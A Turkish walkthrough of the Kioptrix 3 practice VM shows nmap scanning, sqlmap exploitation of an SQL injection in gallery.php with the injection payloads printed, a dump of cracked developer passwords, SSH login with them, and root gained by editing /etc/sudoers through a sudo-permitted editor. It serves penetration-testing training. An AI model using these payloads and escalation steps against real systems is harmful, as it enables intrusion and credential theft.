Makine Hakkında Bilgiler
Açıklama:
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/#description
*İndirme Sayfası: https://download.vulnhub.com/kioptrix/archive/Kioptrix_Level_2-original.rar
Walkthrough
İlk önce hedef makinenin ip adresini tespit ederek başlayalım.
┌──(root💀kali)-[/home/kali]
└─# ifconfig 130 ⨯
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.21 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::20c:29ff:fe4a:4d3f prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4a:4d:3f txqueuelen 1000 (Ethernet)
RX packets 251 bytes 24219 (23.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 445 bytes 28850 (28.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 (400.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 400 (400.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[/home/kali]
└─# arp-scan -l | grep 00:0c:29:11:aa:cc
192.168.0.19 00:0c:29:11:aa:cc VMware, Inc.
Daha sonrasında makinenin sayfasında bizden yapmamızı istediği konfigürasyonu kendi kali'mizde yapalım.
┌──(root💀kali)-[/home/kali]
└─# cat /etc/hosts 1 ⨯
127.0.0.1 localhost
127.0.1.1 kali
192.168.0.19 kioptrix3.com
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allroutersŞimdi bir nmap taraması gerçekleştirelim.
┌──(root💀kali)-[/home/kali]
└─# nmap kioptrix3.com -p- -A -T4 130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-21 19:48 EDT
Nmap scan report for kioptrix3.com (192.168.0.19)
Host is up (0.00092s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:11:AA:CC (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.92 ms kioptrix3.com (192.168.0.19)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds
Hımm sadece 2 port açıkmış. Http ile başlayalım. Sayfa üzerinde gezindikten sonra /gallery/gallery.php?id=1&sort=filename adresinde sql injection tespit ettim. Daha sonra oluşan http isteğini sqlmap'e verdim. Http isteği aşağıda verilmiştir.
┌──(root💀kali)-[/home/kali/oscp/kioptrix3]
└─# cat istek.txt
GET /gallery/gallery.php?id=1&sort=filename HTTP/1.1
Host: kioptrix3.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: gallarific_vote_4=1; PHPSESSID=471923a3dbc4fb502abdf2c271bb5188
Upgrade-Insecure-Requests: 1
Şimdi sqlmap çıktılarına bakalım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix3]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch
___
__H__
___ ___[,]_____ ___ ___ {1.5.2#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:58:49 /2021-05-21/
[19:58:49] [INFO] parsing HTTP request from 'istek.txt'
[19:58:50] [INFO] testing connection to the target URL
[19:58:50] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
[19:58:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:58:51] [INFO] testing if the target URL content is stable
[19:58:51] [INFO] target URL content is stable
[19:58:51] [INFO] testing if GET parameter 'id' is dynamic
[19:58:51] [INFO] GET parameter 'id' appears to be dynamic
[19:58:51] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[19:58:51] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[19:58:51] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[19:58:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:58:51] [WARNING] reflective value(s) found and filtering out
[19:58:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[19:58:55] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="42")
[19:58:55] [INFO] testing 'Generic inline queries'
[19:58:55] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[19:58:55] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[19:58:55] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[19:58:55] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[19:58:55] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[19:58:55] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[19:58:55] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[19:58:55] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[19:58:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:58:55] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:58:55] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:58:55] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:58:55] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[19:58:56] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[19:58:56] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:58:56] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[19:58:56] [INFO] GET parameter 'id' is 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' injectable
[19:58:56] [INFO] testing 'MySQL inline queries'
[19:58:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[19:58:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[19:58:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[19:58:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[19:58:56] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[19:58:56] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[19:58:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:59:06] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[19:59:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:59:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:59:06] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:59:06] [INFO] target URL appears to have 6 columns in query
[19:59:06] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[19:59:06] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 156 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-5018 OR 5291=5291&sort=filename
Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: id=1 OR ROW(9613,5823)>(SELECT COUNT(*),CONCAT(0x7170627871,(SELECT (ELT(9613=9613,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM (SELECT 5651 UNION SELECT 8627 UNION SELECT 3048 UNION SELECT 7707)a GROUP BY x)&sort=filename
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 7132 FROM (SELECT(SLEEP(5)))qFRP)&sort=filename
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x7170627871,0x46796e776255556a50684f4a4e63427a466362494a54567a784f674a4143746155566a4a51724845,0x716a706271),NULL,NULL,NULL,NULL,NULL-- -&sort=filename
---
[19:59:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 4.1
[19:59:07] [INFO] fetching database names
[19:59:07] [INFO] retrieved: 'information_schema'
[19:59:07] [INFO] retrieved: 'gallery'
[19:59:07] [INFO] retrieved: 'mysql'
available databases [3]:
[*] gallery
[*] information_schema
[*] mysql
[19:59:07] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 26 times
[19:59:07] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/kioptrix3.com'
[*] ending @ 19:59:07 /2021-05-21/
Harika ilişkisel veri tabanlarını severiz. Şimdi gallery db'sini dump etmeye başlayalım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix3]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch -D gallery --tables
___
__H__
___ ___[)]_____ ___ ___ {1.5.2#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:00:20 /2021-05-21/
[20:00:20] [INFO] parsing HTTP request from 'istek.txt'
[20:00:20] [INFO] resuming back-end DBMS 'mysql'
[20:00:20] [INFO] testing connection to the target URL
[20:00:21] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-5018 OR 5291=5291&sort=filename
Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: id=1 OR ROW(9613,5823)>(SELECT COUNT(*),CONCAT(0x7170627871,(SELECT (ELT(9613=9613,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM (SELECT 5651 UNION SELECT 8627 UNION SELECT 3048 UNION SELECT 7707)a GROUP BY x)&sort=filename
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 7132 FROM (SELECT(SLEEP(5)))qFRP)&sort=filename
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x7170627871,0x46796e776255556a50684f4a4e63427a466362494a54567a784f674a4143746155566a4a51724845,0x716a706271),NULL,NULL,NULL,NULL,NULL-- -&sort=filename
---
[20:00:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 4.1
[20:00:21] [INFO] fetching database names
[20:00:21] [INFO] resumed: 'information_schema'
[20:00:21] [INFO] resumed: 'gallery'
[20:00:21] [INFO] resumed: 'mysql'
available databases [3]:
[*] gallery
[*] information_schema
[*] mysql
[20:00:21] [INFO] fetching tables for database: 'gallery'
[20:00:21] [INFO] retrieved: 'dev_accounts'
[20:00:21] [INFO] retrieved: 'gallarific_comments'
[20:00:21] [INFO] retrieved: 'gallarific_galleries'
[20:00:21] [INFO] retrieved: 'gallarific_photos'
[20:00:21] [INFO] retrieved: 'gallarific_settings'
[20:00:21] [INFO] retrieved: 'gallarific_stats'
[20:00:21] [INFO] retrieved: 'gallarific_users'
Database: gallery
[7 tables]
+----------------------+
| dev_accounts |
| gallarific_comments |
| gallarific_galleries |
| gallarific_photos |
| gallarific_settings |
| gallarific_stats |
| gallarific_users |
+----------------------+
[20:00:21] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[20:00:21] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/kioptrix3.com'
[*] ending @ 20:00:21 /2021-05-21/Tabiki de dev_accounts tablosunu okuyacağım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix3]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch -D gallery -T dev_accounts --dump
___
__H__
___ ___["]_____ ___ ___ {1.5.2#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:01:30 /2021-05-21/
[20:01:30] [INFO] parsing HTTP request from 'istek.txt'
[20:01:30] [INFO] resuming back-end DBMS 'mysql'
[20:01:30] [INFO] testing connection to the target URL
[20:01:30] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-5018 OR 5291=5291&sort=filename
Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: id=1 OR ROW(9613,5823)>(SELECT COUNT(*),CONCAT(0x7170627871,(SELECT (ELT(9613=9613,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM (SELECT 5651 UNION SELECT 8627 UNION SELECT 3048 UNION SELECT 7707)a GROUP BY x)&sort=filename
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 7132 FROM (SELECT(SLEEP(5)))qFRP)&sort=filename
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x7170627871,0x46796e776255556a50684f4a4e63427a466362494a54567a784f674a4143746155566a4a51724845,0x716a706271),NULL,NULL,NULL,NULL,NULL-- -&sort=filename
---
[20:01:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[20:01:30] [INFO] fetching database names
[20:01:30] [INFO] resumed: 'information_schema'
[20:01:30] [INFO] resumed: 'gallery'
[20:01:30] [INFO] resumed: 'mysql'
available databases [3]:
[*] gallery
[*] information_schema
[*] mysql
[20:01:30] [INFO] fetching columns for table 'dev_accounts' in database 'gallery'
[20:01:31] [INFO] retrieved: 'id'
[20:01:31] [INFO] retrieved: 'int(10)'
[20:01:31] [INFO] retrieved: 'username'
[20:01:31] [INFO] retrieved: 'varchar(50)'
[20:01:31] [INFO] retrieved: 'password'
[20:01:31] [INFO] retrieved: 'varchar(50)'
[20:01:31] [INFO] fetching entries for table 'dev_accounts' in database 'gallery'
[20:01:31] [INFO] retrieved: '1','0d3eccfb887aabd50f243b3f155c0f85','dreg'
[20:01:31] [WARNING] automatically patching output having last char trimmed
[20:01:31] [INFO] retrieved: '2','5badcaf789d3d1d09794d8f021f40f0e','loneferret'
[20:01:31] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[20:01:31] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[20:01:31] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[20:01:31] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[20:01:31] [INFO] starting 4 processes
[20:01:36] [INFO] cracked password 'Mast3r' for user 'dreg'
[20:01:37] [INFO] cracked password 'starwars' for user 'loneferret'
Database: gallery
Table: dev_accounts
[2 entries]
+----+---------------------------------------------+------------+
| id | password | username |
+----+---------------------------------------------+------------+
| 1 | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) | dreg |
| 2 | 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret |
+----+---------------------------------------------+------------+
[20:01:42] [INFO] table 'gallery.dev_accounts' dumped to CSV file '/root/.local/share/sqlmap/output/kioptrix3.com/dump/gallery/dev_accounts.csv'
[20:01:42] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[20:01:42] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/kioptrix3.com'
[*] ending @ 20:01:42 /2021-05-21/
ssh servisinin de açık olduğunu görmüştük buradaki kullanıcılarla ssh servisine denemeler yapalım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix3]
└─# ssh [email protected]
The authenticity of host '192.168.0.19 (192.168.0.19)' can't be established.
RSA key fingerprint is SHA256:NdsBnvaQieyTUKFzPjRpTVK6jDGM/xWwUi46IR/h1jU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.19' (RSA) to the list of known hosts.
[email protected]'s password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
dreg@Kioptrix3:~$ whoami
dreg
dreg@Kioptrix3:~$
┌──(root💀kali)-[/home/kali/oscp/kioptrix3]
└─# ssh [email protected]
[email protected]'s password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$ whoami
loneferret
loneferret@Kioptrix3:~$ İki kullanıcıyla da başarılı bir şekilde giriş işlemi yaptık. Şimdi yetki yükseltmeye başlayalım.
Makine üzerinde biraz araştırma yaptıktan sonra loneferret kullanıcısının sudoers dosyası içerisinde olduğunu gördüm. Bunu sudo -l komutu ile görebiliriz ve ht isimli bir programla istediğimiz dosyaları editleyebilmekteyiz. Bende sudoers dosyasını editlemeye karar verdim.
loneferret@Kioptrix3:~$ whoami
loneferret
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht
loneferret@Kioptrix3:~$ /usr/local/bin/ht -h
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$
loneferret@Kioptrix3:~$ clear
'xterm-256color': unknown terminal type.
loneferret@Kioptrix3:~$ clear
'xterm-256color': unknown terminal type.
loneferret@Kioptrix3:~$ TERM="xterm"
loneferret@Kioptrix3:~$ /usr/local/bin/ht -h
loneferret@Kioptrix3:~$
loneferret@Kioptrix3:~$
loneferret@Kioptrix3:~$
loneferret@Kioptrix3:~$
loneferret@Kioptrix3:~$ which su
/bin/susudoers dosyası içerisinde loneferret kullanıcısına /bin/su dosyasını root haklarda açabileceğini söyleyeceğim.
loneferret@Kioptrix3:~$ sudo /usr/local/bin/ht /etc/sudoers Açılan ekrandaki işlemlermi ALT tuşu aracılığı ile gerçekleştirdim. İlk sudoers ekranı aşağıda verilmiştir.
File Edit Windows Help Texteditor 23:33 21.05.2021
┌─[x]────────────────────────────────────────────── /etc/sudoers ───────────────────────────────────────────────2───┐
│# /etc/sudoers ^
│# ▒
│# This file MUST be edited with the 'visudo' command as root. ▒
│# ▒
│# See the man page for details on how to write a sudoers file. ▒
│# ▒
│ ▒
│Defaults env_reset ▒
│ ▒
│# Host alias specification ▒
│ ▒
│# User alias specification ▒
│ ▒
│# Cmnd alias specification ▒
│ ▒
│# User privilege specification
│root ALL=(ALL) ALL
│loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht
│
│# Uncomment to allow members of group sudo to not need a password
│# (Note that later entries override this, so you might need to move v
└─── 8:1 ──────────────────────────────────────────────────────────────────────────────────────────────────────────┘
1help 2save 3open 4 5goto 6mode 7search 8 9 0quit
Değişiklik sonrası sudoers dosyası:
File Edit Windows Help Texteditor 23:34 21.05.2021
┌─[x]────────────────────────────────────────────── /etc/sudoers ───────────────────────────────────────────────2───┐
│# /etc/sudoers ^
│# ▒
│# This file MUST be edited with the 'visudo' command as root. ▒
│# ▒
│# See the man page for details on how to write a sudoers file. ▒
│# ▒
│ ▒
│Defaults env_reset ▒
│ ▒
│# Host alias specification ▒
│ ▒
│# User alias specification ▒
│ ▒
│# Cmnd alias specification ▒
│ ▒
│# User privilege specification
│root ALL=(ALL) ALL
│loneferret ALL=NOPASSWD: /bin/su, /usr/local/bin/ht
│
│# Uncomment to allow members of group sudo to not need a password
│# (Note that later entries override this, so you might need to move v
└─── *18:26 ────────────────────────────────────────────────────────────────────────────────────────────────────────┘
1help 2save 3open 4 5goto 6mode 7search 8 9 0quit
Artık root olabiliriz.
loneferret@Kioptrix3:~$ sudo /bin/su
root@Kioptrix3:/home/loneferret#
root@Kioptrix3:/home/loneferret#
root@Kioptrix3:/home/loneferret# whoami
root
root@Kioptrix3:/home/loneferret#
root@Kioptrix3:/home/loneferret#
İlk Yorumu Siz Yapın